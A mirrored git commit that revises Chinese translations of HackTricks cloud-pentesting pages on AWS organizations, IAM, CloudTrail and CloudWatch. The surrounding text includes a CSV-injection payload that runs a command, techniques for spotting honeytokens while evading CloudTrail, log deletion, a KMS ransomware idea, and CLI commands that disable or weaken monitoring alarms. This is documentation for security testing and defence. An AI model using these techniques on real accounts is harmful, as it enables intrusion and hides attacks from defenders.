mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/aws-security/aws-basic-information/REA
This commit is contained in:
@@ -22,9 +22,9 @@
|
||||
- 管理邀请
|
||||
- 对组织内的实体(根、OU 或账户)应用政策
|
||||
- 启用与支持的 AWS 服务的集成,以在组织中的所有账户之间提供服务功能。
|
||||
- 可以使用创建此根账户/组织时使用的电子邮件和密码作为根用户登录。
|
||||
- 可以使用用于创建此根账户/组织的电子邮件和密码以根用户身份登录。
|
||||
|
||||
管理账户具有 **付款账户的责任**,并负责支付所有成员账户产生的费用。您无法更改组织的管理账户。
|
||||
管理账户具有 **付款账户的责任**,并负责支付所有由成员账户产生的费用。您无法更改组织的管理账户。
|
||||
|
||||
- **成员账户** 组成了组织中所有其他账户。一个账户一次只能是一个组织的成员。您可以将政策附加到一个账户,以仅对该账户应用控制。
|
||||
- 成员账户 **必须使用有效的电子邮件地址**,并可以有一个 **名称**,通常他们将无法管理账单(但可能会被授予访问权限)。
|
||||
@@ -42,7 +42,7 @@ aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
|
||||
|
||||
**服务控制策略 (SCP)** 是一种策略,指定用户和角色在受 SCP 影响的账户中可以使用的服务和操作。SCP **类似于 IAM** 权限策略,但它们 **不授予任何权限**。相反,SCP 指定组织、组织单位 (OU) 或账户的 **最大权限**。当您将 SCP 附加到您的组织根或 OU 时,**SCP 限制成员账户中实体的权限**。
|
||||
|
||||
这是 **即使是根用户也无法被阻止** 执行某些操作的唯一方法。例如,它可以用于阻止用户禁用 CloudTrail 或删除备份。\
|
||||
这是 **即使是根用户也可以被阻止** 执行某些操作的唯一方法。例如,它可以用于阻止用户禁用 CloudTrail 或删除备份。\
|
||||
绕过此限制的唯一方法是同时妥协配置 SCP 的 **主账户**(主账户无法被阻止)。
|
||||
|
||||
> [!WARNING]
|
||||
@@ -143,7 +143,7 @@ IAM [用户组](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html)
|
||||
|
||||
### [IAM角色](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
|
||||
|
||||
IAM **角色**与**用户**非常**相似**,因为它是一个**具有权限策略的身份,决定了它在AWS中可以做什么和不能做什么**。然而,角色**没有任何凭证**(密码或访问密钥)与之关联。角色的设计目的是**可以被任何需要它的人(并且有足够权限)假设**。IAM用户可以**假设角色以临时**承担特定任务的不同权限。角色可以分配给使用外部身份提供者而不是IAM登录的[**联合用户**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html)。
|
||||
IAM **角色**与**用户**非常**相似**,因为它是一个**具有权限策略的身份,决定它在AWS中可以做什么和不能做什么**。然而,角色**没有任何凭证**(密码或访问密钥)与之关联。角色的设计目的是**可以被任何需要它的人(并且有足够权限)假设**。IAM用户可以**假设角色以临时**承担特定任务的不同权限。角色可以分配给使用外部身份提供者而不是IAM登录的[**联合用户**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html)。
|
||||
|
||||
IAM角色由**两种类型的策略**组成:**信任策略**,不能为空,定义**谁可以假设**该角色,以及**权限策略**,不能为空,定义**它可以访问什么**。
|
||||
|
||||
@@ -165,7 +165,7 @@ AWS安全令牌服务(STS)是一个网络服务,促进**临时、有限权
|
||||
- 客户管理策略:由您配置。您可以基于AWS管理策略创建策略(修改其中一个并创建自己的),使用策略生成器(一个帮助您授予和拒绝权限的GUI视图)或编写自己的策略。
|
||||
|
||||
默认情况下,访问是**被拒绝的**,如果指定了明确的角色,则将授予访问权限。\
|
||||
如果**存在单个“拒绝”**,它将覆盖“允许”,但AWS账户的根安全凭证的请求(默认允许)除外。
|
||||
如果**存在单个“拒绝”**,它将覆盖“允许”,但AWS账户的根安全凭证(默认允许)使用的请求除外。
|
||||
```javascript
|
||||
{
|
||||
"Version": "2012-10-17", //Version of the policy
|
||||
@@ -206,15 +206,15 @@ AWS安全令牌服务(STS)是一个网络服务,促进**临时、有限权
|
||||
|
||||
IAM边界可以用来**限制用户或角色应有的权限**。这样,即使通过**不同的策略**授予用户一组不同的权限,如果他尝试使用这些权限,操作将**失败**。
|
||||
|
||||
边界只是附加到用户的策略,**指示用户或角色可以拥有的最大权限级别**。因此,**即使用户具有管理员访问权限**,如果边界指示他只能读取S·桶,那就是他能做的最大事情。
|
||||
边界只是附加到用户的策略,**指示用户或角色可以拥有的最大权限级别**。因此,**即使用户具有管理员访问权限**,如果边界指示他只能读取S·桶,那就是他能做的最大限度。
|
||||
|
||||
**这**、**SCPs**和**遵循最小权限**原则是控制用户权限不超过其所需权限的方式。
|
||||
|
||||
### 会话策略
|
||||
|
||||
会话策略是**在角色被假设时设置的策略**。这将类似于该会话的**IAM边界**:这意味着会话策略不授予权限,而是**将权限限制为策略中指示的权限**(最大权限为角色所拥有的权限)。
|
||||
会话策略是**在角色被假定时设置的策略**。这将类似于该会话的**IAM边界**:这意味着会话策略不授予权限,而是**将权限限制为策略中指示的权限**(最大权限为角色所拥有的权限)。
|
||||
|
||||
这对于**安全措施**非常有用:当管理员要假设一个非常特权的角色时,他可以将权限限制为仅在会话策略中指示的权限,以防会话被破坏。
|
||||
这对于**安全措施**非常有用:当管理员要假定一个非常特权的角色时,他可以将权限限制为仅在会话策略中指示的权限,以防会话被破坏。
|
||||
```bash
|
||||
aws sts assume-role \
|
||||
--role-arn <value> \
|
||||
@@ -233,13 +233,13 @@ aws sts assume-role \
|
||||
|
||||
要配置这种信任,生成一个 **IAM 身份提供者(SAML 或 OAuth)**,该提供者将 **信任** **其他平台**。然后,至少一个 **IAM 角色被分配(信任)给身份提供者**。如果来自受信平台的用户访问 AWS,他将以提到的角色进行访问。
|
||||
|
||||
然而,通常你会希望根据第三方平台中用户的 **组别给予不同的角色**。然后,多个 **IAM 角色可以信任** 第三方身份提供者,第三方平台将是允许用户假定一个角色或另一个角色的地方。
|
||||
然而,通常你会希望根据第三方平台中用户的组给予 **不同的角色**。然后,多个 **IAM 角色可以信任** 第三方身份提供者,第三方平台将是允许用户假定一个角色或另一个角色的地方。
|
||||
|
||||
<figure><img src="../../../images/image (247).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### IAM 身份中心
|
||||
|
||||
AWS IAM 身份中心(AWS 单点登录的继任者)扩展了 AWS 身份和访问管理(IAM)的功能,提供一个 **中央位置**,将 **用户及其对 AWS** 账户和云应用程序的访问管理汇集在一起。
|
||||
AWS IAM 身份中心(AWS 单点登录的继任者)扩展了 AWS 身份和访问管理(IAM)的功能,提供一个 **中央位置**,将 **用户及其对 AWS** 帐户和云应用程序的访问管理汇集在一起。
|
||||
|
||||
登录域将类似于 `<user_input>.awsapps.com`。
|
||||
|
||||
@@ -251,20 +251,20 @@ AWS IAM 身份中心(AWS 单点登录的继任者)扩展了 AWS 身份和访
|
||||
|
||||
<figure><img src="../../../images/image (279).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
在身份中心目录的最简单情况下,**身份中心将拥有用户和组的列表**,并能够 **为他们分配策略** 到 **组织的任何账户**。
|
||||
在身份中心目录的最简单情况下,**身份中心将拥有用户和组的列表**,并能够 **为他们分配策略** 到 **组织的任何帐户**。
|
||||
|
||||
为了给予身份中心用户/组对账户的访问,将创建一个 **信任身份中心的 SAML 身份提供者**,并在目标账户中创建一个 **信任身份提供者并具有指示策略的角色**。
|
||||
为了给予身份中心用户/组对帐户的访问,将创建一个 **信任身份中心的 SAML 身份提供者**,并在目标帐户中创建一个 **信任身份提供者并具有指示策略的角色**。
|
||||
|
||||
#### AwsSSOInlinePolicy
|
||||
|
||||
可以通过 **IAM 身份中心创建的角色的内联策略** 来 **授予权限**。在被授予 **AWS 身份中心内联策略** 的账户中创建的角色将具有名为 **`AwsSSOInlinePolicy`** 的内联策略中的这些权限。
|
||||
可以通过 **IAM 身份中心创建的角色的内联策略** 来 **授予权限**。在被授予 **AWS 身份中心内联策略** 的帐户中创建的角色将具有名为 **`AwsSSOInlinePolicy`** 的内联策略中的这些权限。
|
||||
|
||||
因此,即使你看到两个具有名为 **`AwsSSOInlinePolicy`** 的内联策略的角色,也 **并不意味着它们具有相同的权限**。
|
||||
|
||||
### 跨账户信任和角色
|
||||
|
||||
**用户**(信任)可以创建一个带有某些策略的跨账户角色,然后 **允许另一个用户**(受信任) **访问他的账户**,但仅 **具有新角色策略中指示的访问权限**。要创建此角色,只需创建一个新角色并选择跨账户角色。跨账户访问的角色提供两个选项。提供你拥有的 AWS 账户之间的访问,以及提供你拥有的账户与第三方 AWS 账户之间的访问。\
|
||||
建议 **指定被信任的用户,而不是放置一些通用的内容**,因为如果不这样做,其他经过身份验证的用户(如联合用户)也将能够滥用此信任。
|
||||
**用户**(信任)可以创建一个带有某些策略的跨账户角色,然后 **允许另一个用户**(受信任) **访问他的帐户**,但仅 **具有新角色策略中指示的访问权限**。要创建此角色,只需创建一个新角色并选择跨账户角色。跨账户访问的角色提供两个选项。提供你拥有的 AWS 账户之间的访问,以及提供你拥有的账户与第三方 AWS 账户之间的访问。\
|
||||
建议 **指定被信任的用户,而不是放置一些通用的内容**,因为如果不这样做,其他经过身份验证的用户(如联合用户)也可能滥用此信任。
|
||||
|
||||
### AWS Simple AD
|
||||
|
||||
@@ -274,13 +274,13 @@ AWS IAM 身份中心(AWS 单点登录的继任者)扩展了 AWS 身份和访
|
||||
- AD 管理中心
|
||||
- 完整的 PS API 支持
|
||||
- AD 回收站
|
||||
- 组托管服务账户
|
||||
- 组托管服务帐户
|
||||
- 架构扩展
|
||||
- 无法直接访问操作系统或实例
|
||||
|
||||
#### Web 联合或 OpenID 认证
|
||||
|
||||
该应用程序使用 AssumeRoleWithWebIdentity 创建临时凭证。然而,这并不授予对 AWS 控制台的访问,仅授予对 AWS 内部资源的访问。
|
||||
该应用程序使用 AssumeRoleWithWebIdentity 创建临时凭证。然而,这并不授予对 AWS 控制台的访问权限,仅授予对 AWS 内部资源的访问权限。
|
||||
|
||||
### 其他 IAM 选项
|
||||
|
||||
@@ -355,7 +355,7 @@ sts_regional_endpoints = regional
|
||||
```
|
||||
aws --profile acc2 ...
|
||||
```
|
||||
如果您正在寻找类似的东西,但用于**浏览器**,您可以查看**扩展** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en)。
|
||||
如果您正在寻找与此**类似**的**浏览器**工具,可以查看**扩展** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en)。
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
||||
+12
-12
@@ -19,12 +19,12 @@ AWS CloudTrail **记录和监控您 AWS 环境中的活动**。它捕获详细
|
||||
- 请求参数: `requestParameters`
|
||||
- 响应元素: `responseElements`
|
||||
|
||||
事件大约每 5 分钟写入一个新的日志文件,**以 JSON 文件格式**,它们由 CloudTrail 保存,最后,日志文件在大约 15 分钟后 **交付到 S3**。\
|
||||
事件每 **约 5 分钟写入一个新的日志文件,格式为 JSON**,这些日志由 CloudTrail 保存,最后,日志文件 **大约在 15 分钟后交付到 S3**。\
|
||||
CloudTrail 的日志可以 **跨账户和跨区域聚合。**\
|
||||
CloudTrail 允许使用 **日志文件完整性,以便能够验证您的日志文件自 CloudTrail 交付给您以来是否保持不变**。它在摘要文件中创建日志的 SHA-256 哈希。每小时创建新日志的 SHA-256 哈希。\
|
||||
创建 Trail 时,事件选择器将允许您指示要记录的 Trail:管理、数据或洞察事件。
|
||||
|
||||
日志保存在 S3 存储桶中。默认情况下使用服务器端加密(SSE-S3),因此 AWS 将为有权访问的人解密内容,但为了额外的安全性,您可以使用 SSE 和 KMS 及您自己的密钥。
|
||||
日志保存在 S3 存储桶中。默认情况下使用服务器端加密 (SSE-S3),因此 AWS 将为有权限的人解密内容,但为了额外的安全性,您可以使用带有 KMS 和您自己的密钥的 SSE。
|
||||
|
||||
日志存储在 **具有此名称格式的 S3 存储桶中**:
|
||||
|
||||
@@ -83,7 +83,7 @@ CloudTrail 事件历史允许您在表格中检查已记录的日志:
|
||||
|
||||
### 洞察
|
||||
|
||||
**CloudTrail Insights** 自动 **分析** CloudTrail 路径中的写入管理事件,并 **提醒** 您 **异常活动**。例如,如果 `TerminateInstance` 事件的增加与既定基线不同,您将看到它作为洞察事件。这些事件使 **发现和响应异常 API 活动比以往任何时候都更容易**。
|
||||
**CloudTrail Insights** 自动 **分析** CloudTrail 路径中的写入管理事件,并 **提醒** 您 **异常活动**。例如,如果 `TerminateInstance` 事件的增加与既定基线不同,您将看到它作为洞察事件。这些事件使 **查找和响应异常 API 活动比以往任何时候都更容易**。
|
||||
|
||||
洞察存储在与 CloudTrail 日志相同的存储桶中:`BucketName/AWSLogs/AccountID/CloudTrail-Insight`
|
||||
|
||||
@@ -91,7 +91,7 @@ CloudTrail 事件历史允许您在表格中检查已记录的日志:
|
||||
| 控制名称 | 实施细节 |
|
||||
| ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
||||
| CloudTrail 日志文件完整性 | <ul><li>验证日志是否被篡改(修改或删除)</li><li><p>使用摘要文件(为每个文件创建哈希)</p><ul><li>SHA-256 哈希</li><li>使用 RSA 进行数字签名的 SHA-256</li><li>私钥由 Amazon 拥有</li></ul></li><li>创建摘要文件需要 1 小时(每小时整点完成)</li></ul> |
|
||||
| 防止未经授权的访问 | <ul><li><p>使用 IAM 策略和 S3 存储桶策略</p><ul><li>安全团队 —> 管理员访问</li><li>审计员 —> 只读访问</li></ul></li><li>使用 SSE-S3/SSE-KMS 加密日志</li></ul> |
|
||||
| 停止未经授权的访问 | <ul><li><p>使用 IAM 策略和 S3 存储桶策略</p><ul><li>安全团队 —> 管理员访问</li><li>审计员 —> 只读访问</li></ul></li><li>使用 SSE-S3/SSE-KMS 加密日志</li></ul> |
|
||||
| 防止日志文件被删除 | <ul><li>使用 IAM 和存储桶策略限制删除访问</li><li>配置 S3 MFA 删除</li><li>通过日志文件验证进行验证</li></ul> |
|
||||
|
||||
## 访问顾问
|
||||
@@ -125,7 +125,7 @@ aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id
|
||||
### **CSV 注入**
|
||||
|
||||
在 CloudTrail 中可以执行 CVS 注入,如果日志以 CSV 格式导出并在 Excel 中打开,将执行任意代码。\
|
||||
以下代码将生成一个包含有效负载的错误 Trail 名称的日志条目:
|
||||
以下代码将生成一个包含有效负载的坏 Trail 名称的日志条目:
|
||||
```python
|
||||
import boto3
|
||||
payload = "=cmd|'/C calc'|''"
|
||||
@@ -148,17 +148,17 @@ https://book.hacktricks.wiki/en/pentesting-web/formula-csv-doc-latex-ghostscript
|
||||
|
||||
### HoneyTokens **绕过**
|
||||
|
||||
Honeytokens 的创建是为了 **检测敏感信息的外泄**。在 AWS 的情况下,它们是 **使用受到监控的 AWS 密钥**,如果某个操作触发了该密钥的动作,那么就必须有人窃取了该密钥。
|
||||
Honeytokens 是为了 **检测敏感信息的外泄** 而创建的。在 AWS 的情况下,它们是 **使用受到监控的 AWS 密钥**,如果某个操作触发了该密钥的动作,那么就必须有人窃取了该密钥。
|
||||
|
||||
然而,像 [**Canarytokens**](https://canarytokens.org/generate)**、** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**、** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) 这样的 Honeytokens 要么使用可识别的账户名称,要么为所有客户使用相同的 AWS 账户 ID。因此,如果您可以在不让 Cloudtrail 创建任何日志的情况下获取账户名称和/或账户 ID,**您就可以知道该密钥是否是 Honeytoken**。
|
||||
然而,像 [**Canarytokens**](https://canarytokens.org/generate)**、** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**、** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) 创建的 Honeytokens 要么使用可识别的账户名称,要么为所有客户使用相同的 AWS 账户 ID。因此,如果您可以在不让 Cloudtrail 创建任何日志的情况下获取账户名称和/或账户 ID,**您就可以知道该密钥是否是 Honeytoken**。
|
||||
|
||||
[**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57) 有一些规则来检测密钥是否属于 [**Canarytokens**](https://canarytokens.org/generate)**、** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**、** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)**:**
|
||||
|
||||
- 如果 **`canarytokens.org`** 出现在角色名称中,或者账户 ID **`534261010715`** 出现在错误消息中。
|
||||
- 最近测试时,他们使用的账户是 **`717712589309`**,并且名称中仍然包含 **`canarytokens.com`** 字符串。
|
||||
- 如果 **`SpaceCrab`** 出现在错误消息中的角色名称中
|
||||
- 如果 **`SpaceCrab`** 出现在错误消息中的角色名称中。
|
||||
- **SpaceSiren** 使用 **uuids** 生成用户名:`[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}`
|
||||
- 如果 **名称看起来像是随机生成的**,则很有可能是 HoneyToken。
|
||||
- 如果 **名称看起来像是随机生成的**,那么它是 HoneyToken 的概率很高。
|
||||
|
||||
#### 从密钥 ID 获取账户 ID
|
||||
|
||||
@@ -198,7 +198,7 @@ print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56J
|
||||
.png>)
|
||||
|
||||
> [!CAUTION]
|
||||
> 请注意,所有已发现不创建 CloudTrail 日志的公共 API 现在已修复,因此您可能需要自己寻找...
|
||||
> 请注意,所有已发现不创建 CloudTrail 日志的公共 API 现在都已修复,因此您可能需要自己寻找...
|
||||
>
|
||||
> 有关更多信息,请查看 [**原始研究**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/)。
|
||||
|
||||
@@ -255,8 +255,8 @@ aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration
|
||||
|
||||
#### S3 勒索软件
|
||||
|
||||
您可以 **生成一个非对称密钥** 并使 **CloudTrail 使用该密钥加密数据**,然后 **删除私钥**,以便无法恢复 CloudTrail 内容。\
|
||||
这基本上是一个 **S3-KMS 勒索软件**,详见:
|
||||
您可以**生成一个非对称密钥**并使**CloudTrail 使用该密钥加密数据**,然后**删除私钥**,以便无法恢复 CloudTrail 内容。\
|
||||
这基本上是一个**S3-KMS 勒索软件**,详见:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-post-exploitation/aws-s3-post-exploitation.md
|
||||
|
||||
+17
-17
@@ -8,7 +8,7 @@
|
||||
CloudWatch 日志事件的 **每行日志大小限制为 256KB**。\
|
||||
它可以设置 **高分辨率警报**,并并排可视化 **日志** 和 **指标**,采取自动化行动,排除故障,并发现洞察以优化应用程序。
|
||||
|
||||
例如,您可以监控来自 CloudTrail 的日志。监控的事件包括:
|
||||
您可以监控来自 CloudTrail 的日志。例如,监控的事件包括:
|
||||
|
||||
- 对安全组和 NACL 的更改
|
||||
- 启动、停止、重启和终止 EC2 实例
|
||||
@@ -39,7 +39,7 @@ CloudWatch 日志事件的 **每行日志大小限制为 256KB**。\
|
||||
|
||||
### 统计信息
|
||||
|
||||
统计信息是对指标数据进行的数学计算,以便在一段时间内对其进行总结。常见的统计信息包括平均值、总和、最小值、最大值和样本计数。
|
||||
统计信息是对指标数据进行的数学计算,以便随时间对其进行汇总。常见的统计信息包括平均值、总和、最小值、最大值和样本计数。
|
||||
|
||||
- **示例**:计算一小时内的平均 CPU 利用率。
|
||||
|
||||
@@ -83,7 +83,7 @@ CloudWatch 日志事件的 **每行日志大小限制为 256KB**。\
|
||||
|
||||
- **阈值**:触发警报的值。
|
||||
- **评估周期**:评估数据的周期数。
|
||||
- **触发警报的数据点**:需要达到阈值的周期数以触发警报。
|
||||
- **触发警报的数据点**:触发警报所需的达到阈值的周期数。
|
||||
- **操作**:当警报状态被触发时发生的事情(例如,通过 SNS 通知)。
|
||||
|
||||
**示例用例**:
|
||||
@@ -120,20 +120,20 @@ CloudWatch 日志事件的 **每行日志大小限制为 256KB**。\
|
||||
**元素**:
|
||||
| 术语 | 定义 |
|
||||
| ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| **日志组** | 一组 **共享相同保留、监控和访问控制设置的日志流** |
|
||||
| **日志组** | 一组 **共享相同保留、监控和访问控制设置的日志流** |
|
||||
| **日志流** | 一系列 **共享相同来源的日志事件** |
|
||||
| **订阅过滤器** | 定义一个 **匹配特定日志组中事件的过滤模式**,将其发送到 Kinesis Data Firehose 流、Kinesis 流或 Lambda 函数 |
|
||||
|
||||
### CloudWatch 监控与事件
|
||||
|
||||
CloudWatch **基本** 每 5 分钟聚合数据(**详细** 每 1 分钟聚合一次)。在聚合后,它 **检查警报的阈值**,以防需要触发一个。\
|
||||
CloudWatch **基本** 每 5 分钟聚合数据(**详细** 每 1 分钟聚合一次)。在聚合后,它 **检查警报的阈值**,以确定是否需要触发一个。\
|
||||
在这种情况下,CloudWatch 可以准备发送事件并执行一些自动操作(AWS Lambda 函数、SNS 主题、SQS 队列、Kinesis 流)。
|
||||
|
||||
### 代理安装
|
||||
|
||||
您可以在机器/容器内部安装代理,以自动将日志发送回 CloudWatch。
|
||||
|
||||
- **创建** 一个 **角色** 并 **附加** 到 **实例**,赋予 CloudWatch 收集实例数据的权限,并与 AWS 系统管理器 SSM 交互(CloudWatchAgentAdminPolicy 和 AmazonEC2RoleforSSM)
|
||||
- **创建** 一个 **角色** 并 **附加** 到 **实例**,赋予 CloudWatch 收集来自实例的数据的权限,并与 AWS 系统管理器 SSM 交互(CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM)
|
||||
- **下载** 并 **安装** **代理** 到 EC2 实例上 ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip))。您可以从 EC2 内部下载,或使用 AWS 系统管理器自动安装,选择包 AWS-ConfigureAWSPackage
|
||||
- **配置** 并 **启动** CloudWatch Agent
|
||||
|
||||
@@ -216,9 +216,9 @@ aws events list-event-buses
|
||||
|
||||
### **`cloudwatch:DeleteAlarms`,`cloudwatch:PutMetricAlarm` , `cloudwatch:PutCompositeAlarm`**
|
||||
|
||||
拥有这些权限的攻击者可能会严重削弱组织的监控和警报基础设施。通过删除现有警报,攻击者可以禁用通知管理员关键性能问题、安全漏洞或操作故障的重要警报。此外,通过创建或修改指标警报,攻击者还可以用虚假警报误导管理员或静音合法警报,有效掩盖恶意活动并阻止对实际事件的及时响应。
|
||||
拥有这些权限的攻击者可能会严重削弱组织的监控和警报基础设施。通过删除现有警报,攻击者可以禁用关键警报,这些警报通知管理员关键性能问题、安全漏洞或操作故障。此外,通过创建或修改指标警报,攻击者还可以用虚假警报误导管理员或使合法警报失效,有效掩盖恶意活动并阻止对实际事件的及时响应。
|
||||
|
||||
此外,拥有 **`cloudwatch:PutCompositeAlarm`** 权限的攻击者将能够创建一个复合警报的循环或周期,其中复合警报 A 依赖于复合警报 B,而复合警报 B 也依赖于复合警报 A。在这种情况下,无法删除任何属于该循环的复合警报,因为总是还有一个复合警报依赖于您想要删除的警报。
|
||||
此外,拥有 **`cloudwatch:PutCompositeAlarm`** 权限的攻击者将能够创建一个复合警报的循环或周期,其中复合警报 A 依赖于复合警报 B,而复合警报 B 也依赖于复合警报 A。在这种情况下,无法删除任何属于该周期的复合警报,因为总是还有一个复合警报依赖于您想要删除的警报。
|
||||
```bash
|
||||
aws cloudwatch put-metric-alarm --cli-input-json <value> | --alarm-name <value> --comparison-operator <value> --evaluation-periods <value> [--datapoints-to-alarm <value>] [--threshold <value>] [--alarm-description <value>] [--alarm-actions <value>] [--metric-name <value>] [--namespace <value>] [--statistic <value>] [--dimensions <value>] [--period <value>]
|
||||
aws cloudwatch delete-alarms --alarm-names <value>
|
||||
@@ -226,7 +226,7 @@ aws cloudwatch put-composite-alarm --alarm-name <value> --alarm-rule <value> [--
|
||||
```
|
||||
以下示例展示了如何使指标警报失效:
|
||||
|
||||
- 此指标警报监控特定 EC2 实例的平均 CPU 利用率,每 300 秒评估一次指标,并需要 6 个评估周期(总共 30 分钟)。如果平均 CPU 利用率在这 6 个周期中至少有 4 个周期超过 60%,则警报将触发并向指定的 SNS 主题发送通知。
|
||||
- 此指标警报监控特定 EC2 实例的平均 CPU 利用率,每 300 秒评估一次指标,并需要 6 个评估周期(总共 30 分钟)。如果平均 CPU 利用率在这 6 个周期中至少有 4 个超过 60%,则警报将触发并向指定的 SNS 主题发送通知。
|
||||
- 通过将阈值修改为超过 99%,将周期设置为 10 秒,将评估周期设置为 8640(因为 8640 个 10 秒的周期等于 1 天),并将数据点设置为警报也为 8640,CPU 利用率在整个 24 小时内每 10 秒都超过 99% 才能触发警报。
|
||||
|
||||
{{#tabs }}
|
||||
@@ -279,7 +279,7 @@ aws cloudwatch put-composite-alarm --alarm-name <value> --alarm-rule <value> [--
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**潜在影响**:缺乏对关键事件的通知,可能未被检测到的问题,虚假警报,抑制真实警报,可能错过对真实事件的检测。
|
||||
**潜在影响**:缺乏对关键事件的通知,可能导致未被发现的问题,虚假警报,抑制真实警报,并可能错过对真实事件的检测。
|
||||
|
||||
### **`cloudwatch:DeleteAlarmActions`, `cloudwatch:EnableAlarmActions` , `cloudwatch:SetAlarmState`**
|
||||
|
||||
@@ -293,16 +293,16 @@ aws cloudwatch disable-alarm-actions --alarm-names <value>
|
||||
aws cloudwatch enable-alarm-actions --alarm-names <value>
|
||||
aws cloudwatch set-alarm-state --alarm-name <value> --state-value <OK | ALARM | INSUFFICIENT_DATA> --state-reason <value> [--state-reason-data <value>]
|
||||
```
|
||||
**潜在影响**:缺乏对关键事件的通知,可能未被检测到的问题,虚假警报,抑制真实警报,可能错过对真实事件的检测。
|
||||
**潜在影响**:缺乏对关键事件的通知,可能未被检测到的问题,错误警报,抑制真实警报,可能错过对真实事件的检测。
|
||||
|
||||
### **`cloudwatch:DeleteAnomalyDetector`, `cloudwatch:PutAnomalyDetector`**
|
||||
|
||||
攻击者将能够破坏检测和响应指标数据中异常模式或异常的能力。通过删除现有的异常检测器,攻击者可以禁用关键的警报机制;通过创建或修改它们,攻击者能够错误配置或制造虚假警报,以分散或压倒监控。
|
||||
攻击者将能够破坏检测和响应指标数据中异常模式或异常的能力。通过删除现有的异常检测器,攻击者可以禁用关键的警报机制;通过创建或修改它们,攻击者能够错误配置或制造误报,以分散或压倒监控。
|
||||
```bash
|
||||
aws cloudwatch delete-anomaly-detector [--cli-input-json <value> | --namespace <value> --metric-name <value> --dimensions <value> --stat <value>]
|
||||
aws cloudwatch put-anomaly-detector [--cli-input-json <value> | --namespace <value> --metric-name <value> --dimensions <value> --stat <value> --configuration <value> --metric-characteristics <value>]
|
||||
```
|
||||
以下示例展示了如何使指标异常检测器失效。该指标异常检测器监控特定 EC2 实例的平均 CPU 利用率,仅需添加“ExcludedTimeRanges”参数和所需的时间范围,就足以确保异常检测器在该期间内不分析或警报任何相关数据。
|
||||
以下示例展示了如何使指标异常检测器失效。该指标异常检测器监控特定 EC2 实例的平均 CPU 利用率,只需添加“ExcludedTimeRanges”参数和所需的时间范围,就足以确保异常检测器在该期间内不分析或警报任何相关数据。
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Original Metric Anomaly Detector" }}
|
||||
@@ -360,17 +360,17 @@ aws cloudwatch put-anomaly-detector [--cli-input-json <value> | --namespace <val
|
||||
aws cloudwatch delete-dashboards --dashboard-names <value>
|
||||
aws cloudwatch put-dashboard --dashboard-name <value> --dashboard-body <value>
|
||||
```
|
||||
**潜在影响**:失去监控可见性和误导性信息。
|
||||
**潜在影响**: 监控可见性的丧失和误导性信息。
|
||||
|
||||
### **`cloudwatch:DeleteInsightRules`, `cloudwatch:PutInsightRule` ,`cloudwatch:PutManagedInsightRule`**
|
||||
|
||||
Insight 规则用于检测异常、优化性能和有效管理资源。通过删除现有的 insight 规则,攻击者可能会移除关键的监控能力,使系统对性能问题和安全威胁失去感知。此外,攻击者还可以创建或修改 insight 规则,以生成误导性数据或掩盖恶意活动,从而导致错误的诊断和运营团队的不当响应。
|
||||
Insight 规则用于检测异常、优化性能和有效管理资源。通过删除现有的 insight 规则,攻击者可以移除关键的监控能力,使系统对性能问题和安全威胁失去察觉。此外,攻击者可以创建或修改 insight 规则,以生成误导性数据或隐藏恶意活动,从而导致错误的诊断和运营团队的不当响应。
|
||||
```bash
|
||||
aws cloudwatch delete-insight-rules --rule-names <value>
|
||||
aws cloudwatch put-insight-rule --rule-name <value> --rule-definition <value> [--rule-state <value>]
|
||||
aws cloudwatch put-managed-insight-rules --managed-rules <value>
|
||||
```
|
||||
**潜在影响**:难以检测和响应性能问题和异常,错误的决策以及可能掩盖恶意活动或系统故障。
|
||||
**潜在影响**:难以检测和响应性能问题和异常,错误的信息决策,可能掩盖恶意活动或系统故障。
|
||||
|
||||
### **`cloudwatch:DisableInsightRules`, `cloudwatch:EnableInsightRules`**
|
||||
|
||||
@@ -417,7 +417,7 @@ aws cloudwatch start-metric-streams --names <value>
|
||||
aws cloudwatch tag-resource --resource-arn <value> --tags <value>
|
||||
aws cloudwatch untag-resource --resource-arn <value> --tag-keys <value>
|
||||
```
|
||||
**潜在影响**:干扰基于标签的访问控制策略。
|
